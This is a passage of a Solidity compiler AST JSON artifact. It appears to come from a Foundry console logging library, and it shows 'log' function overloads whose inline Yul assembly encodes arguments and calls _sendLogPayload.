ativeSrc":"251882:16:22","nodeType":"YulFunctionCall","src":"251882:16:22"},"nativeSrc":"251882:16:22","nodeType":"YulExpressionStatement","src":"251882:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"251918:4:22","nodeType":"YulLiteral","src":"251918:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"251924:2:22","nodeType":"YulIdentifier","src":"251924:2:22"}],"functionName":{"name":"mstore","nativeSrc":"251911:6:22","nodeType":"YulIdentifier","src":"251911:6:22"},"nativeSrc":"251911:16:22","nodeType":"YulFunctionCall","src":"251911:16:22"},"nativeSrc":"251911:16:22","nodeType":"YulExpressionStatement","src":"251911:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42088,"isOffset":false,"isSlot":false,"src":"251576:2:22","valueSize":1},{"declaration":42091,"isOffset":false,"isSlot":false,"src":"251606:2:22","valueSize":1},{"declaration":42094,"isOffset":false,"isSlot":false,"src":"251636:2:22","valueSize":1},{"declaration":42097,"isOffset":false,"isSlot":false,"src":"251666:2:22","valueSize":1},{"declaration":42100,"isOffset":false,"isSlot":false,"src":"251696:2:22","valueSize":1},{"declaration":42078,"isOffset":false,"isSlot":false,"src":"251837:2:22","valueSize":1},{"declaration":42080,"isOffset":false,"isSlot":false,"src":"251866:2:22","valueSize":1},{"declaration":42082,"isOffset":false,"isSlot":false,"src":"251895:2:22","valueSize":1},{"declaration":42084,"isOffset":false,"isSlot":false,"src":"251924:2:22","valueSize":1}],"id":42102,"nodeType":"InlineAssembly","src":"251553:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42104,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"251962:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":42105,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"251968:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":42103,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"251946:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42106,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"251946:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42107,"nodeType":"ExpressionStatement","src":"251946:27:22"},{"AST":{"nativeSrc":"251992:156:22","nodeType":"YulBlock","src":"251992:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"252013:4:22","nodeType":"YulLiteral","src":"252013:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"252019:2:22","nodeType":"YulIdentifier","src":"252019:2:22"}],"functionName":{"name":"mstore","nativeSrc":"252006:6:22","nodeType":"YulIdentifier","src":"252006:6:22"},"nativeSrc":"252006:16:22","nodeType":"YulFunctionCall","src":"252006:16:22"},"nativeSrc":"252006:16:22","nodeType":"YulExpressionStatement","src":"252006:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"252042:4:22","nodeType":"YulLiteral","src":"252042:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"252048:2:22","nodeType":"YulIdentifier","src":"252048:2:22"}],"functionName":{"name":"mstore","nativeSrc":"252035:6:22","nodeType":"YulIdentifier","src":"252035:6:22"},"nativeSrc":"252035:16:22","nodeType":"YulFunctionCall","src":"252035:16:22"},"nativeSrc":"252035:16:22","nodeType":"YulExpressionStatement","src":"252035:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"252071:4:22","nodeType":"YulLiteral","src":"252071:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"252077:2:22","nodeType":"YulIdentifier","src":"252077:2:22"}],"functionName":{"name":"mstore","nativeSrc":"252064:6:22","nodeType":"YulIdentifier","src":"252064:6:22"},"nativeSrc":"252064:16:22","nodeType":"YulFunctionCall","src":"252064:16:22"},"nativeSrc":"252064:16:22","nodeType":"YulExpressionStatement","src":"252064:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"252100:4:22","nodeType":"YulLiteral","src":"252100:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"252106:2:22","nodeType":"YulIdentifier","src":"252106:2:22"}],"functionName":{"name":"mstore","nativeSrc":"252093:6:22","nodeType":"YulIdentifier","src":"252093:6:22"},"nativeSrc":"252093:16:22","nodeType":"YulFunctionCall","src":"252093:16:22"},"nativeSrc":"252093:16:22","nodeType":"YulExpressionStatement","src":"252093:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"252129:4:22","nodeType":"YulLiteral","src":"252129:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"252135:2:22","nodeType":"YulIdentifier","src":"252135:2:22"}],"functionName":{"name":"mstore","nativeSrc":"252122:6:22","nodeType":"YulIdentifier","src":"252122:6:22"},"nativeSrc":"252122:16:22","nodeType":"YulFunctionCall","src":"252122:16:22"},"nativeSrc":"252122:16:22","nodeType":"YulExpressionStatement","src":"252122:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42088,"isOffset":false,"isSlot":false,"src":"252019:2:22","valueSize":1},{"declaration":42091,"isOffset":false,"isSlot":false,"src":"252048:2:22","valueSize":1},{"declaration":42094,"isOffset":false,"isSlot":false,"src":"252077:2:22","valueSize":1},{"declaration":42097,"isOffset":false,"isSlot":false,"src":"252106:2:22","valueSize":1},{"declaration":42100,"isOffset":false,"isSlot":false,"src":"252135:2:22","valueSize":1}],"id":42108,"nodeType":"InlineAssembly","src":"251983:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"251383:3:22","parameters":{"id":42085,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42078,"mutability":"mutable","name":"p0","nameLocation":"251395:2:22","nodeType":"VariableDeclaration","scope":42110,"src":"251387:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42077,"name":"uint256","nodeType":"ElementaryTypeName","src":"251387:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42080,"mutability":"mutable","name":"p1","nameLocation":"251404:2:22","nodeType":"VariableDeclaration","scope":42110,"src":"251399:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42079,"name":"bool","nodeType":"ElementaryTypeName","src":"251399:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":42082,"mutability":"mutable","name":"p2","nameLocation":"251413:2:22","nodeType":"VariableDeclaration","scope":42110,"src":"251408:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42081,"name":"bool","nodeType":"ElementaryTypeName","src":"251408:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":42084,"mutability":"mutable","name":"p3","nameLocation":"251425:2:22","nodeType":"VariableDeclaration","scope":42110,"src":"251417:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42083,"name":"uint256","nodeType":"ElementaryTypeName","src":"251417:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"251386:42:22"},"returnParameters":{"id":42086,"nodeType":"ParameterList","parameters":[],"src":"251443:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42150,"nodeType":"FunctionDefinition","src":"252160:1328:22","nodes":[],"body":{"id":42149,"nodeType":"Block","src":"252229:1259:22","nodes":[],"statements":[{"assignments":[42122],"declarations":[{"constant":false,"id":42122,"mutability":"mutable","name":"m0","nameLocation":"252247:2:22","nodeType":"VariableDeclaration","scope":42149,"src":"252239:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42121,"name":"bytes32","nodeType":"ElementaryTypeName","src":"252239:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42123,"nodeType":"VariableDeclarationStatement","src":"252239:10:22"},{"assignments":[42125],"declarations":[{"constant":false,"id":42125,"mutability":"mutable","name":"m1","nameLocation":"252267:2:22","nodeType":"VariableDeclaration","scope":42149,"src":"252259:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42124,"name":"bytes32","nodeType":"ElementaryTypeName","src":"252259:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42126,"nodeType":"VariableDeclarationStatement","src":"252259:10:22"},{"assignments":[42128],"declarations":[{"constant":false,"id":42128,"mutability":"mutable","name":"m2","nameLocation":"252287:2:22","nodeType":"VariableDeclaration","scope":42149,"src":"252279:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42127,"name":"bytes32","nodeType":"ElementaryTypeName","src":"252279:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42129,"nodeType":"VariableDeclarationStatement","src":"252279:10:22"},{"assignments":[42131],"declarations":[{"constant":false,"id":42131,"mutability":"mutable","name":"m3","nameLocation":"252307:2:22","nodeType":"VariableDeclaration","scope":42149,"src":"252299:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42130,"name":"bytes32","nodeType":"ElementaryTypeName","src":"252299:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42132,"nodeType":"VariableDeclarationStatement","src":"252299:10:22"},{"assignments":[42134],"declarations":[{"constant":false,"id":42134,"mutability":"mutable","name":"m4","nameLocation":"252327:2:22","nodeType":"VariableDeclaration","scope":42149,"src":"252319:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42133,"name":"bytes32","nodeType":"ElementaryTypeName","src":"252319:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42135,"nodeType":"VariableDeclarationStatement","src":"252319:10:22"},{"assignments":[42137],"declarations":[{"constant":false,"id":42137,"mutability":"mutable","name":"m5","nameLocation":"252347:2:22","nodeType":"VariableDeclaration","scope":42149,"src":"252339:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42136,"name":"bytes32","nodeType":"ElementaryTypeName","src":"252339:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42138,"nodeType":"VariableDeclarationStatement","src":"252339:10:22"},{"assignments":[42140],"declarations":[{"constant":false,"id":42140,"mutability":"mutable","name":"m6","nameLocation":"252367:2:22","nodeType":"VariableDeclaration","scope":42149,"src":"252359:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42139,"name":"bytes32","nodeType":"ElementaryTypeName","src":"252359:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42141,"nodeType":"VariableDeclarationStatement","src":"252359:10:22"},{"AST":{"nativeSrc":"252388:825:22","nodeType":"YulBlock","src":"252388:825:22","statements":[{"body":{"nativeSrc":"252431:313:22","nodeType":"YulBlock","src":"252431:313:22","statements":[{"nativeSrc":"252449:15:22","nodeType":"YulVariableDeclaration","src":"252449:15:22","value":{"kind":"number","nativeSrc":"252463:1:22","nodeType":"YulLiteral","src":"252463:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"252453:6:22","nodeType":"YulTypedName","src":"252453:6:22","type":""}]},{"body":{"nativeSrc":"252534:40:22","nodeType":"YulBlock","src":"252534:40:22","statements":[{"body":{"nativeSrc":"252563:9:22","nodeType":"YulBlock","src":"252563:9:22","statements":[{"nativeSrc":"252565:5:22","nodeType":"YulBreak","src":"252565:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"252551:6:22","nodeType":"YulIdentifier","src":"252551:6:22"},{"name":"w","nativeSrc":"252559:1:22","nodeType":"YulIdentifier","src":"252559:1:22"}],"functionName":{"name":"byte","nativeSrc":"252546:4:22","nodeType":"YulIdentifier","src":"252546:4:22"},"nativeSrc":"252546:15:22","nodeType":"YulFunctionCall","src":"252546:15:22"}],"functionName":{"name":"iszero","nativeSrc":"252539:6:22","nodeType":"YulIdentifier","src":"252539:6:22"},"nativeSrc":"252539:23:22","nodeType":"YulFunctionCall","src":"252539:23:22"},"nativeSrc":"252536:36:22","nodeType":"YulIf","src":"252536:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"252491:6:22","nodeType":"YulIdentifier","src":"252491:6:22"},{"kind":"number","nativeSrc":"252499:4:22","nodeType":"YulLiteral","src":"252499:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"252488:2:22","nodeType":"YulIdentifier","src":"252488:2:22"},"nativeSrc":"252488:16:22","nodeType":"YulFunctionCall","src":"252488:16:22"},"nativeSrc":"252481:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"252505:28:22","nodeType":"YulBlock","src":"252505:28:22","statements":[{"nativeSrc":"252507:24:22","nodeType":"YulAssignment","src":"252507:24:22","value":{"arguments":[{"name":"length","nativeSrc":"252521:6:22","nodeType":"YulIdentifier","src":"252521:6:22"},{"kind":"number","nativeSrc":"252529:1:22","nodeType":"YulLiteral","src":"252529:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"252517:3:22","nodeType":"YulIdentifier","src":"252517:3:22"},"nativeSrc":"252517:14:22","nodeType":"YulFunctionCall","src":"252517:14:22"},"variableNames":[{"name":"length","nativeSrc":"252507:6:22","nodeType":"YulIdentifier","src":"252507:6:22"}]}]},"pre":{"nativeSrc":"252485:2:22","nodeType":"YulBlock","src":"252485:2:22","statements":[]},"src":"252481:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"252598:3:22","nodeType":"YulIdentifier","src":"252598:3:22"},{"name":"length","nativeSrc":"252603:6:22","nodeType":"YulIdentifier","src":"252603:6:22"}],"functionName":{"name":"mstore","nativeSrc":"252591:6:22","nodeType":"YulIdentifier","src":"252591:6:22"},"nativeSrc":"252591:19:22","nodeType":"YulFunctionCall","src":"252591:19:22"},"nativeSrc":"252591:19:22","nodeType":"YulExpressionStatement","src":"252591:19:22"},{"nativeSrc":"252627:37:22","nodeType":"YulVariableDeclaration","src":"252627:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"252644:3:22","nodeType":"YulLiteral","src":"252644:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"252653:1:22","nodeType":"YulLiteral","src":"252653:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"252656:6:22","nodeType":"YulIdentifier","src":"252656:6:22"}],"functionName":{"name":"shl","nativeSrc":"252649:3:22","nodeType":"YulIdentifier","src":"252649:3:22"},"nativeSrc":"252649:14:22","nodeType":"YulFunctionCall","src":"252649:14:22"}],"functionName":{"name":"sub","nativeSrc":"252640:3:22","nodeType":"YulIdentifier","src":"252640:3:22"},"nativeSrc":"252640:24:22","nodeType":"YulFunctionCall","src":"252640:24:22"},"variables":[{"name":"shift","nativeSrc":"252631:5:22","nodeType":"YulTypedName","src":"252631:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"252692:3:22","nodeType":"YulIdentifier","src":"252692:3:22"},{"kind":"number","nativeSrc":"252697:4:22","nodeType":"YulLiteral","src":"252697:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"252688:3:22","nodeType":"YulIdentifier","src":"252688:3:22"},"nativeSrc":"252688:14:22","nodeType":"YulFunctionCall","src":"252688:14:22"},{"arguments":[{"name":"shift","nativeSrc":"252708:5:22","nodeType":"YulIdentifier","src":"252708:5:22"},{"arguments":[{"name":"shift","nativeSrc":"252719:5:22","nodeType":"YulIdentifier","src":"252719:5:22"},{"name":"w","nativeSrc":"252726:1:22","nodeType":"YulIdentifier","src":"252726:1:22"}],"functionName":{"name":"shr","nativeSrc":"252715:3:22","nodeType":"YulIdentifier","src":"252715:3:22"},"nativeSrc":"252715:13:22","nodeType":"YulFunctionCall","src":"252715:13:22"}],"functionName":{"name":"shl","nativeSrc":"252704:3:22","nodeType":"YulIdentifier","src":"252704:3:22"},"nativeSrc":"252704:25:22","nodeType":"YulFunctionCall","src":"252704:25:22"}],"functionName":{"name":"mstore","nativeSrc":"252681:6:22","nodeType":"YulIdentifier","src":"252681:6:22"},"nativeSrc":"252681:49:22","nodeType":"YulFunctionCall","src":"252681:49:22"},"nativeSrc":"252681:49:22","nodeType":"YulExpressionStatement","src":"252681:49:22"}]},"name":"writeString","nativeSrc":"252402:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"252423:3:22","nodeType":"YulTypedName","src":"252423:3:22","type":""},{"name":"w","nativeSrc":"252428:1:22","nodeType":"YulTypedName","src":"252428:1:22","type":""}],"src":"252402:342:22"},{"nativeSrc":"252757:17:22","nodeType":"YulAssignment","src":"252757:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"252769:4:22","nodeType":"YulLiteral","src":"252769:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"252763:5:22","nodeType":"YulIdentifier","src":"252763:5:22"},"nativeSrc":"252763:11:22","nodeType":"YulFunctionCall","src":"252763:11:22"},"variableNames":[{"name":"m0","nativeSrc":"252757:2:22","nodeType":"YulIdentifier","src":"252757:2:22"}]},{"nativeSrc":"252787:17:22","nodeType":"YulAssignment","src":"252787:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"252799:4:22","nodeType":"YulLiteral","src":"252799:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"252793:5:22","nodeType":"YulIdentifier","src":"252793:5:22"},"nativeSrc":"252793:11:22","nodeType":"YulFunctionCall","src":"252793:11:22"},"variableNames":[{"name":"m1","nativeSrc":"252787:2:22","nodeType":"YulIdentifier","src":"252787:2:22"}]},{"nativeSrc":"252817:17:22","nodeType":"YulAssignment","src":"252817:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"252829:4:22","nodeType":"YulLiteral","src":"252829:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"252823:5:22","nodeType":"YulIdentifier","src":"252823:5:22"},"nativeSrc":"252823:11:22","nodeType":"YulFunctionCall","src":"252823:11:22"},"variableNames":[{"name":"m2","nativeSrc":"252817:2:22","nodeType":"YulIdentifier","src":"252817:2:22"}]},{"nativeSrc":"252847:17:22","nodeType":"YulAssignment","src":"252847:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"252859:4:22","nodeType":"YulLiteral","src":"252859:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"252853:5:22","nodeType":"YulIdentifier","src":"252853:5:22"},"nativeSrc":"252853:11:22","nodeType":"YulFunctionCall","src":"252853:11:22"},"variableNames":[{"name":"m3","nativeSrc":"252847:2:22","nodeType":"YulIdentifier","src":"252847:2:22"}]},{"nativeSrc":"252877:17:22","nodeType":"YulAssignment","src":"252877:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"252889:4:22","nodeType":"YulLiteral","src":"252889:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"252883:5:22","nodeType":"YulIdentifier","src":"252883:5:22"},"nativeSrc":"252883:11:22","nodeType":"YulFunctionCall","src":"252883:11:22"},"variableNames":[{"name":"m4","nativeSrc":"252877:2:22","nodeType":"YulIdentifier","src":"252877:2:22"}]},{"nativeSrc":"252907:17:22","nodeType":"YulAssignment","src":"252907:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"252919:4:22","nodeType":"YulLiteral","src":"252919:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"252913:5:22","nodeType":"YulIdentifier","src":"252913:5:22"},"nativeSrc":"252913:11:22","nodeType":"YulFunctionCall","src":"252913:11:22"},"variableNames":[{"name":"m5","nativeSrc":"252907:2:22","nodeType":"YulIdentifier","src":"252907:2:22"}]},{"nativeSrc":"252937:17:22","nodeType":"YulAssignment","src":"252937:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"252949:4:22","nodeType":"YulLiteral","src":"252949:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"252943:5:22","nodeType":"YulIdentifier","src":"252943:5:22"},"nativeSrc":"252943:11:22","nodeType":"YulFunctionCall","src":"252943:11:22"},"variableNames":[{"name":"m6","nativeSrc":"252937:2:22","nodeType":"YulIdentifier","src":"252937:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"253034:4:22","nodeType":"YulLiteral","src":"253034:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"253040:10:22","nodeType":"YulLiteral","src":"253040:10:22","type":"","value":"0xdddb9561"}],"functionName":{"name":"mstore","nativeSrc":"253027:6:22","nodeType":"YulIdentifier","src":"253027:6:22"},"nativeSrc":"253027:24:22","nodeType":"YulFunctionCall","src":"253027:24:22"},"nativeSrc":"253027:24:22","nodeType":"YulExpressionStatement","src":"253027:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"253071:4:22","nodeType":"YulLiteral","src":"253071:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"253077:2:22","nodeType":"YulIdentifier","src":"253077:2:22"}],"functionName":{"name":"mstore","nativeSrc":"253064:6:22","nodeType":"YulIdentifier","src":"253064:6:22"},"nativeSrc":"253064:16:22","nodeType":"YulFunctionCall","src":"253064:16:22"},"nativeSrc":"253064:16:22","nodeType":"YulExpressionStatement","src":"253064:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"253100:4:22","nodeType":"YulLiteral","src":"253100:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"253106:2:22","nodeType":"YulIdentifier","src":"253106:2:22"}],"functionName":{"name":"mstore","nativeSrc":"253093:6:22","nodeType":"YulIdentifier","src":"253093:6:22"},"nativeSrc":"253093:16:22","nodeType":"YulFunctionCall","src":"253093:16:22"},"nativeSrc":"253093:16:22","nodeType":"YulExpressionStatement","src":"253093:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"253129:4:22","nodeType":"YulLiteral","src":"253129:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"253135:2:22","nodeType":"YulIdentifier","src":"253135:2:22"}],"functionName":{"name":"mstore","nativeSrc":"253122:6:22","nodeType":"YulIdentifier","src":"253122:6:22"},"nativeSrc":"253122:16:22","nodeType":"YulFunctionCall","src":"253122:16:22"},"nativeSrc":"253122:16:22","nodeType":"YulExpressionStatement","src":"253122:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"253158:4:22","nodeType":"YulLiteral","src":"253158:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"253164:4:22","nodeType":"YulLiteral","src":"253164:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"253151:6:22","nodeType":"YulIdentifier","src":"253151:6:22"},"nativeSrc":"253151:18:22","nodeType":"YulFunctionCall","src":"253151:18:22"},"nativeSrc":"253151:18:22","nodeType":"YulExpressionStatement","src":"253151:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"253194:4:22","nodeType":"YulLiteral","src":"253194:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"253200:2:22","nodeType":"YulIdentifier","src":"253200:2:22"}],"functionName":{"name":"writeString","nativeSrc":"253182:11:22","nodeType":"YulIdentifier","src":"253182:11:22"},"nativeSrc":"253182:21:22","nodeType":"YulFunctionCall","src":"253182:21:22"},"nativeSrc":"253182:21:22","nodeType":"YulExpressionStatement","src":"253182:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42122,"isOffset":false,"isSlot":false,"src":"252757:2:22","valueSize":1},{"declaration":42125,"isOffset":false,"isSlot":false,"src":"252787:2:22","valueSize":1},{"declaration":42128,"isOffset":false,"isSlot":false,"src":"252817:2:22","valueSize":1},{"declaration":42131,"isOffset":false,"isSlot":false,"src":"252847:2:22","valueSize":1},{"declaration":42134,"isOffset":false,"isSlot":false,"src":"252877:2:22","valueSize":1},{"declaration":42137,"isOffset":false,"isSlot":false,"src":"252907:2:22","valueSize":1},{"declaration":42140,"isOffset":false,"isSlot":false,"src":"252937:2:22","valueSize":1},{"declaration":42112,"isOffset":false,"isSlot":false,"src":"253077:2:22","valueSize":1},{"declaration":42114,"isOffset":false,"isSlot":false,"src":"253106:2:22","valueSize":1},{"declaration":42116,"isOffset":false,"isSlot":false,"src":"253135:2:22","valueSize":1},{"declaration":42118,"isOffset":false,"isSlot":false,"src":"253200:2:22","valueSize":1}],"id":42142,"nodeType":"InlineAssembly","src":"252379:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42144,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"253238:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":42145,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"253244:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":42143,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"253222:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42146,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"253222:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42147,"nodeType":"ExpressionStatement","src":"253222:27:22"},{"AST":{"nativeSrc":"253268:214:22","nodeType":"YulBlock","src":"253268:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"253289:4:22","nodeType":"YulLiteral","src":"253289:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"253295:2:22","nodeType":"YulIdentifier","src":"253295:2:22"}],"functionName":{"name":"mstore","nativeSrc":"253282:6:22","nodeType":"YulIdentifier","src":"253282:6:22"},"nativeSrc":"253282:16:22","nodeType":"YulFunctionCall","src":"253282:16:22"},"nativeSrc":"253282:16:22","nodeType":"YulExpressionStatement","src":"253282:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"253318:4:22","nodeType":"YulLiteral","src":"253318:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"253324:2:22","nodeType":"YulIdentifier","src":"253324:2:22"}],"functionName":{"name":"mstore","nativeSrc":"253311:6:22","nodeType":"YulIdentifier","src":"253311:6:22"},"nativeSrc":"253311:16:22","nodeType":"YulFunctionCall","src":"253311:16:22"},"nativeSrc":"253311:16:22","nodeType":"YulExpressionStatement","src":"253311:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"253347:4:22","nodeType":"YulLiteral","src":"253347:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"253353:2:22","nodeType":"YulIdentifier","src":"253353:2:22"}],"functionName":{"name":"mstore","nativeSrc":"253340:6:22","nodeType":"YulIdentifier","src":"253340:6:22"},"nativeSrc":"253340:16:22","nodeType":"YulFunctionCall","src":"253340:16:22"},"nativeSrc":"253340:16:22","nodeType":"YulExpressionStatement","src":"253340:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"253376:4:22","nodeType":"YulLiteral","src":"253376:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"253382:2:22","nodeType":"YulIdentifier","src":"253382:2:22"}],"functionName":{"name":"mstore","nativeSrc":"253369:6:22","nodeType":"YulIdentifier","src":"253369:6:22"},"nativeSrc":"253369:16:22","nodeType":"YulFunctionCall","src":"253369:16:22"},"nativeSrc":"253369:16:22","nodeType":"YulExpressionStatement","src":"253369:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"253405:4:22","nodeType":"YulLiteral","src":"253405:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"253411:2:22","nodeType":"YulIdentifier","src":"253411:2:22"}],"functionName":{"name":"mstore","nativeSrc":"253398:6:22","nodeType":"YulIdentifier","src":"253398:6:22"},"nativeSrc":"253398:16:22","nodeType":"YulFunctionCall","src":"253398:16:22"},"nativeSrc":"253398:16:22","nodeType":"YulExpressionStatement","src":"253398:16:22"},{